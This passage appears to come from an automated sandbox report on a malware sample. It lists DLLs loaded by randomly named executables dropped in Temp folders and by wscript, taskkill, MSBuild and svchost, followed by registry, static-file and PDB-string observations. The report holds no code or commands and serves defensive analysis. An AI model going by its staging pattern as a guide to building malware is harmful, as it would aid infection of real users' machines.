Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winsta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 1894400 > 1048576

Source: file.exe

Static PE information: Raw size of uqbleicu is bigger than: 0x100000 < 0x19cc00

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: MSBuild.exe, 00000012.00000002.2960053340.0000000005530000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\exe\MSBuild.pdbo source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.pdbpdbtem.pdb source: MSBuild.exe, 00000012.00000002.2960053340.0000000005530000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: 0d8313073f.exe, 0000000D.00000003.2559813189.000000000533B000.00000004.00001000.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2983236159.000000006C191000.00000002.00000001.01000000.0000001A.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.000000000063C000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: n0C:\Windows\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2924990669.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Plofgcjnqfn.pdb source: MSBuild.exe, 00000012.00000002.2945809571.0000000004043000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2945809571.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2956645688.00000000051F0000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2942794454.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Fwkdsz.exe, 00000007.00000002.2694689971.0000000005CA0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: oC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2924990669.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Fwkdsz.exe, 00000007.00000002.2694689971.0000000005CA0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Fwkdsz.exe, 00000007.00000002.2703552750.0000000006A60000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\MSBuild.pdbpdbild.pdb source: MSBuild.exe, 00000012.00000002.2960053340.0000000005530000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Fwkdsz.exe, 00000007.00000002.2703552750.0000000006A60000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\exe\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2924990669.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: o.pdb source: MSBuild.exe, 00000012.00000002.2924990669.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Plofgcjnqfn.pdbx source: MSBuild.exe, 00000012.00000002.2945809571.0000000004043000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2945809571.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2956645688.00000000051F0000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2942794454.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.pdb source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
